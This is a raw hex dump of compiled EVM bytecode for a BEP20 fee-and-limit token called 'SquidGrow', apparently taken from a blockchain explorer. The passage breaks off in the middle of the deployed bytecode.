7d565b6000613c85824761244990919063ffffffff16565b90506000613cb0613ca1601f548861244990919063ffffffff16565b8361247590919063ffffffff16565b90506000613cc9601f548361245f90919063ffffffff16565b90506000811115613cdf57613cde86826141c0565b5b6000613d09601e54613cfb60028661245f90919063ffffffff16565b61245f90919063ffffffff16565b90506000811115613d7e57602960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613d7c573d6000803e3d6000fd5b505b6000613da8602154613d9a60028761245f90919063ffffffff16565b61245f90919063ffffffff16565b90506000811115613e1d57602360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613e1b573d6000803e3d6000fd5b505b5050505050505050506000601b60006101000a81548160ff02191690831515021790555050565b600080601454118015613e645750601b60009054906101000a900460ff16155b80613f025750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613f01575042600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b5b80613f565750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80613f62575042600f54115b905092915050565b600080823b905060008111915050919050565b6000600267ffffffffffffffff811115613f9a57613f99615350565b5b604051908082528060200260200182016040528015613fc85781602001602082028036833780820191505090505b5090503081600081518110613fe057613fdf61537f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015614087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140ab91906153c3565b816001815181106140bf576140be61537f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061412630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461201e565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161418a9594939291906154e9565b600060405180830381600087803b1580156141a457600080fd5b505af11580156141b8573d6000803e3d6000fd5b505050505050565b6141ed30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461201e565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161427696959493929190615543565b60606040518083038185885af1158015614294573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906142b991906155a4565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156142fa5780820151818401526020810190506142df565b83811115614309576000848401525b50505050565b6000601f19601f8301169050919050565b600061432b826142c0565b61433581856142cb565b93506143458185602086016142dc565b61434e8161430f565b840191505092915050565b600060208201905081810360008301526143738184614320565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006143ab82614380565b9050919050565b6143bb816143a0565b81146143c657600080fd5b50565b6000813590506143d8816143b2565b92915050565b6000819050919050565b6143f1816143de565b81146143fc57600080fd5b50565b60008135905061440e816143e8565b92915050565b6000806040838503121561442b5761442a61437b565b5b6000614439858286016143c9565b925050602061444a858286016143ff565b9150509250929050565b60008115159050919050565b61446981614454565b82525050565b60006020820190506144846000830184614460565b92915050565b614493816143de565b82525050565b60006020820190506144ae600083018461448a565b92915050565b6144bd81614454565b81146144c857600080fd5b50565b6000813590506144da816144b4565b92915050565b600080604083850312156144f7576144f661437b565b5b6000614505858286016144cb565b9250506020614516858286016143c9565b9150509250929050565b6000806000606084860312156145395761453861437b565b5b6000614547868287016143c9565b9350506020614558868287016143c9565b9250506040614569868287016143ff565b9150509250925092565b6000602082840312156145895761458861437b565b5b6000614597848285016143c9565b91505092915050565b6000602082840312156145b6576145b561437b565b5b60006145c4848285016143ff565b91505092915050565b600060ff82169050919050565b6145e3816145cd565b82525050565b60006020820190506145fe60008301846145da565b92915050565b6000806000806080858703121561461e5761461d61437b565b5b600061462c878288016143ff565b945050602061463d878288016143ff565b935050604061464e878288016143ff565b925050606061465f878288016143ff565b91505092959194509250565b614674816143a0565b82525050565b600060208201905061468f600083018461466b565b92915050565b600080604083850312156146ac576146ab61437b565b5b60006146ba858286016143ff565b92505060206146cb858286016143ff565b9150509250929050565b600080604083850312156146ec576146eb61437b565b5b60006146fa858286016143c9565b925050602061470b858286016143c9565b9150509250929050565b6000806040838503121561472c5761472b61437b565b5b600061473a858286016144cb565b925050602061474b858286016143ff565b9150509250929050565b600080600080600080600080610100898b0312156147765761477561437b565b5b60006147848b828c016143c9565b98505060206147958b828c016143c9565b97505060406147a68b828c016143c9565b96505060606147b78b828c016143c9565b95505060806147c88b828c016143c9565b94505060a06147d98b828c016143c9565b93505060c06147ea8b828c016143c9565b92505060e06147fb8b828c016143c9565b9150509295985092959890939650565b600080600080600060a086880312156148275761482661437b565b5b6000614835888289016143ff565b9550506020614846888289016143ff565b9450506040614857888289016143ff565b9350506060614868888289016143ff565b9250506080614879888289016143ff565b9150509295509295909350565b600061489182614380565b9050919050565b6148a181614886565b81146148ac57600080fd5b50565b6000813590506148be81614898565b92915050565b6000602082840312156148da576148d961437b565b5b60006148e8848285016148af565b91505092915050565b6000602082840312156149075761490661437b565b5b6000614915848285016144cb565b91505092915050565b7f21415554484f52495a4544000000000000000000000000000000000000000000600082015250565b6000614954600b836142cb565b915061495f8261491e565b602082019050919050565b6000602082019050818103600083015261498381614947565b9050919050565b600081519050614999816143e8565b92915050565b6000602082840312156149b5576149b461437b565b5b60006149c38482850161498a565b91505092915050565b60006040820190506149e1600083018561466b565b6149ee602083018461448a565b9392505050565b600081519050614a04816144b4565b92915050565b600060208284031215614a2057614a1f61437b565b5b6000614a2e848285016149f5565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614a71826143de565b9150614a7c836143de565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614ab557614ab4614a37565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614afa826143de565b9150614b05836143de565b925082614b1557614b14614ac0565b5b828204905092915050565b7f4d617820545820616e64204d61782057616c6c65742063616e6e6f742062652060008201527f6c657373207468616e202e352500000000000000000000000000000000000000602082015250565b6000614b7c602d836142cb565b9150614b8782614b20565b604082019050919050565b60006020820190508181036000830152614bab81614b6f565b9050919050565b7f5461782063616e6e6f74206265206d6f7265207468616e203130250000000000600082015250565b6000614be8601b836142cb565b9150614bf382614bb2565b602082019050919050565b60006020820190508181036000830152614c1781614bdb565b9050919050565b6000819050919050565b6000614c43614c3e614c3984614380565b614c1e565b614380565b9050919050565b6000614c5582614c28565b9050919050565b6000614c6782614c4a565b9050919050565b614c7781614c5c565b82525050565b6000602082019050614c926000830184614c6e565b92915050565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614cf46024836142cb565b9150614cff82614c98565b604082019050919050565b60006020820190508181036000830152614d2381614ce7565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614d866022836142cb565b9150614d9182614d2a565b604082019050919050565b60006020820190508181036000830152614db581614d79565b9050919050565b6000614dc7826143de565b9150614dd2836143de565b925082821015614de557614de4614a37565b5b828203905092915050565b6000614dfb826143de565b9150614e06836143de565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614e3b57614e3a614a37565b5b828201905092915050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614ea26025836142cb565b9150614ead82614e46565b604082019050919050565b60006020820190508181036000830152614ed181614e95565b9050919050565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614f346023836142cb565b9150614f3f82614ed8565b604082019050919050565b60006020820190508181036000830152614f6381614f27565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000614fc66029836142cb565b9150614fd182614f6a565b604082019050919050565b60006020820190508181036000830152614ff581614fb9565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b60006150586031836142cb565b915061506382614ffc565b604082019050919050565b600060208201905081810360008301526150878161504b565b9050919050565b7f7374617274537761700000000000000000000000000000000000000000000000600082015250565b60006150c46009836142cb565b91506150cf8261508e565b602082019050919050565b600060208201905081810360008301526150f3816150b7565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000615130601e836142cb565b915061513b826150fa565b602082019050919050565b6000602082019050818103600083015261515f81615123565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b600061519c6011836142cb565b91506151a782615166565b602082019050919050565b600060208201905081810360008301526151cb8161518f565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156152295780860481111561520557615204614a37565b5b60018516156152145780820291505b8081029050615222856151d2565b94506151e9565b94509492505050565b60008261524257600190506152fe565b8161525057600090506152fe565b816001811461526657600281146152705761529f565b60019150506152fe565b60ff84111561528257615281614a37565b5b8360020a91508482111561529957615298614a37565b5b506152fe565b5060208310610133831016604e8410600b84101617156152d45782820a9050838111156152cf576152ce614a37565b5b6152fe565b6152e184848460016151df565b925090508184048111156152f8576152f7614a37565b5b81810290505b9392505050565b6000615310826143de565b915061531b836145cd565b92506153487fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484615232565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506153bd816143b2565b92915050565b6000602082840312156153d9576153d861437b565b5b60006153e7848285016153ae565b91505092915050565b6000819050919050565b600061541561541061540b846153f0565b614c1e565b6143de565b9050919050565b615425816153fa565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615460816143a0565b82525050565b60006154728383615457565b60208301905092915050565b6000602082019050919050565b60006154968261542b565b6154a08185615436565b93506154ab83615447565b8060005b838110156154dc5781516154c38882615466565b97506154ce8361547e565b9250506001810190506154af565b5085935050505092915050565b600060a0820190506154fe600083018861448a565b61550b602083018761541c565b818103604083015261551d818661548b565b905061552c606083018561466b565b615539608083018461448a565b9695505050505050565b600060c082019050615558600083018961466b565b615565602083018861448a565b615572604083018761541c565b61557f606083018661541c565b61558c608083018561466b565b61559960a083018461448a565b979650505050505050565b6000806000606084860312156155bd576155bc61437b565b5b60006155cb8682870161498a565b93505060206155dc8682870161498a565b92505060406155ed8682870161498a565b915050925092509256fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce0aa778fcb648fe31ed67c40a5908aefff9b3be0f102c5aae5065f789c1fb8464736f6c634300080e0033
Deployed Bytecode
0x6080604052600436106102295760003560e01c80638da5cb5b11610123578063c79e12eb116100ab578063eab281bd1161006f578063eab281bd1461080c578063f0b37c0414610835578063f2fde38b1461085e578063fc5266c814610887578063fe9fbb80146108b057610230565b8063c79e12eb14610717578063d2d55dde14610740578063dd62ed3e1461077d578063df20fd49146107ba578063ea567040146107e357610230565b8063a8aa1b31116100f2578063a8aa1b3114610620578063a9059cbb1461064b578063aff75ce114610688578063b6a5d7de146106b1578063c5a11b7b146106da57610230565b80638da5cb5b146105785780639017ab2d146105a357806391e0f7e9146105cc57806395d89b41146105f557610230565b806334b489bf116101b1578063749796a511610175578063749796a5146104b95780637598122d146104e257806375b2f5c5146104f957806378109e54146105225780637d1db4a51461054d57610230565b806334b489bf146103ea5780635def85e4146104135780636ca105491461043c57806370a0823114610465578063715018a6146104a257610230565b806323b872dd116101f857806323b872dd146102f15780632b112e491461032e5780632f54bf6e146103595780633052ea0814610396578063313ce567146103bf57610230565b806306fdde0314610235578063095ea7b31461026057806318160ddd1461029d5780631d501240146102c857610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108ed565b6040516102579190614359565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190614414565b61092a565b604051610294919061446f565b60405180910390f35b3480156102a957600080fd5b506102b2610941565b6040516102bf9190614499565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea91906144e0565b61094b565b005b3480156102fd57600080fd5b5061031860048036038101906103139190614520565b6109ee565b604051610325919061446f565b60405180910390f35b34801561033a57600080fd5b50610343610ab9565b6040516103509190614499565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190614573565b610b1a565b60405161038d919061446f565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b891906145a0565b610b73565b005b3480156103cb57600080fd5b506103d4610c52565b6040516103e191906145e9565b60405180910390f35b3480156103f657600080fd5b50610411600480360381019061040c91906145a0565b610c5b565b005b34801561041f57600080fd5b5061043a600480360381019061043591906144e0565b610cf5565b005b34801561044857600080fd5b50610463600480360381019061045e9190614604565b610d98565b005b34801561047157600080fd5b5061048c60048036038101906104879190614573565b610e02565b6040516104999190614499565b60405180910390f35b3480156104ae57600080fd5b506104b7610e4b565b005b3480156104c557600080fd5b506104e060048036038101906104db9190614573565b610f0e565b005b3480156104ee57600080fd5b506104f7610fb1565b005b34801561050557600080fd5b50610520600480360381019061051b9190614520565b611003565b005b34801561052e57600080fd5b50610537611173565b6040516105449190614499565b60405180910390f35b34801561055957600080fd5b50610562611179565b60405161056f9190614499565b60405180910390f35b34801561058457600080fd5b5061058d61117f565b60405161059a919061467a565b60405180910390f35b3480156105af57600080fd5b506105ca60048036038101906105c59190614573565b6111a3565b005b3480156105d857600080fd5b506105f360048036038101906105ee91906144e0565b61122f565b005b34801561060157600080fd5b5061060a611381565b6040516106179190614359565b60405180910390f35b34801561062c57600080fd5b506106356113be565b604051610642919061467a565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190614414565b6113e4565b60405161067f919061446f565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa9190614695565b6113fb565b005b3480156106bd57600080fd5b506106d860048036038101906106d39190614573565b611451565b005b3480156106e657600080fd5b5061070160048036038101906106fc9190614573565b6114f3565b60405161070e919061446f565b60405180910390f35b34801561072357600080fd5b5061073e60048036038101906107399190614695565b611549565b005b34801561074c57600080fd5b50610767600480360381019061076291906146d5565b611684565b6040516107749190614499565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f91906146d5565b611898565b6040516107b19190614499565b60405180910390f35b3480156107c657600080fd5b506107e160048036038101906107dc9190614715565b61191f565b005b3480156107ef57600080fd5b5061080a60048036038101906108059190614755565b61198c565b005b34801561081857600080fd5b50610833600480360381019061082e919061480b565b611c96565b005b34801561084157600080fd5b5061085c60048036038101906108579190614573565b611da7565b005b34801561086a57600080fd5b50610885600480360381019061088091906148c4565b611e4a565b005b34801561089357600080fd5b506108ae60048036038101906108a991906148f1565b611f63565b005b3480156108bc57600080fd5b506108d760048036038101906108d29190614573565b611fc8565b6040516108e4919061446f565b60405180910390f35b60606040518060400160405280600981526020017f537175696447726f770000000000000000000000000000000000000000000000815250905090565b600061093733848461201e565b6001905092915050565b6000600254905090565b61095433611fc8565b610993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098a9061496a565b60405180910390fd5b81600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006109fb8484846121e7565b610aae8433610aa9856040518060600160405280602881526020016155f860289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f49092919063ffffffff16565b61201e565b600190509392505050565b6000610b15610ac86000610e02565b610b07610af6600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e02565b60025461244990919063ffffffff16565b61244990919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b610b7c33611fc8565b610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb29061496a565b60405180910390fd5b6000479050602a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc610c226064610c14868661245f90919063ffffffff16565b61247590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610c4d573d6000803e3d6000fd5b505050565b60006013905090565b610c6433611fc8565b610ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9a9061496a565b60405180910390fd5b6001600e60146101000a81548160ff0219169083151502179055506001601b60016101000a81548160ff021916908315150217905550610cec814261248b90919063ffffffff16565b600f8190555050565b610cfe33611fc8565b610d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d349061496a565b60405180910390fd5b81600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610da133611fc8565b610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061496a565b60405180910390fd5b836020819055508260218190555081601f8190555080601e8190555050505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e5433611fc8565b610e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8a9061496a565b60405180910390fd5b7f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610ec3919061467a565b60405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f1733611fc8565b610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d9061496a565b60405180910390fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610fba33611fc8565b610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff09061496a565b60405180910390fd5b6110016124a1565b565b61100c33611fc8565b61104b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110429061496a565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611086919061467a565b602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061499f565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8461110c60646110fe878761245f90919063ffffffff16565b61247590919063ffffffff16565b6040518363ffffffff1660e01b81526004016111299291906149cc565b6020604051808303816000875af1158015611148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116c9190614a0a565b5050505050565b60055481565b60045481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6111ac33611fc8565b6111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e29061496a565b60405180910390fd5b80602260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61123833611fc8565b611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126e9061496a565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60606040518060400160405280600981526020017f537175696447726f770000000000000000000000000000000000000000000000815250905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113f13384846121e7565b6001905092915050565b61140433611fc8565b611443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143a9061496a565b60405180910390fd5b61144d8282612607565b5050565b61145a33611fc8565b611499576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114909061496a565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61155233611fc8565b611591576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115889061496a565b60405180910390fd5b6000612710836002546115a49190614a66565b6115ae9190614aef565b90506000612710836002546115c39190614a66565b6115cd9190614aef565b905081600481905550806005819055506116076103e86115f9600560025461245f90919063ffffffff16565b61247590919063ffffffff16565b821015801561163f575061163b6103e861162d600560025461245f90919063ffffffff16565b61247590919063ffffffff16565b8110155b61167e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167590614b92565b60405180910390fd5b50505050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561171d575042600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b80156117355750601b60019054906101000a900460ff165b806117eb5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156117d2575042600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b80156117ea5750601b60019054906101000a900460ff165b5b806117f7575042600f54115b1561181957611812606460165461244990919063ffffffff16565b9050611892565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461188c5761188560155460145461248b90919063ffffffff16565b9050611892565b60145490505b92915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61192833611fc8565b611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e9061496a565b60405180910390fd5b81601760006101000a81548160ff02191690831515021790555080601c819055505050565b61199533611fc8565b6119d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cb9061496a565b60405180910390fd5b87602960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555086602560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555085602660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084602760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083602860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081602460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050505050565b611c9f33611fc8565b611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd59061496a565b60405180910390fd5b8460108190555083601181905550826012819055508160138190555080601581905550611d40601354611d32601254611d2460115460105461248b90919063ffffffff16565b61248b90919063ffffffff16565b61248b90919063ffffffff16565b601481905550611d5c600a60165461247590919063ffffffff16565b6014541115611da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9790614bfe565b60405180910390fd5b5050505050565b611db033611fc8565b611def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de69061496a565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611e5333611fc8565b611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e899061496a565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611f589190614c7d565b60405180910390a150565b611f6c33611fc8565b611fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa29061496a565b60405180910390fd5b80601b60016101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361208d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208490614d0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f390614d9c565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516121da9190614499565b60405180910390a3505050565b6121f283838361288f565b6121fc8383612a00565b612207838383612afd565b6122118383612cf2565b61221c838383612ec4565b612227838383612fb6565b61227981600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244990919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006122c88484612fdf565b6122d257816122de565b6122dd84848461308d565b5b905061233281600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248b90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123d29190614499565b60405180910390a36123e48383613561565b6123ee848461368b565b50505050565b600083831115829061243c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124339190614359565b60405180910390fd5b5082840390509392505050565b600081836124579190614dbc565b905092915050565b6000818361246d9190614a66565b905092915050565b600081836124839190614aef565b905092915050565b600081836124999190614df0565b905092915050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016124fe919061467a565b602060405180830381865afa15801561251b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061253f919061499f565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016125c09291906149cc565b6020604051808303816000875af11580156125df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126039190614a0a565b5050565b6000479050600061263383612625868561245f90919063ffffffff16565b61247590919063ffffffff16565b9050600061265e606461265060198561245f90919063ffffffff16565b61247590919063ffffffff16565b90506000612689606461267b60198661245f90919063ffffffff16565b61247590919063ffffffff16565b905060006126b460646126a660198761245f90919063ffffffff16565b61247590919063ffffffff16565b905060006126df60646126d160198861245f90919063ffffffff16565b61247590919063ffffffff16565b9050602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015612749573d6000803e3d6000fd5b50602660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156127b2573d6000803e3d6000fd5b50602760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040516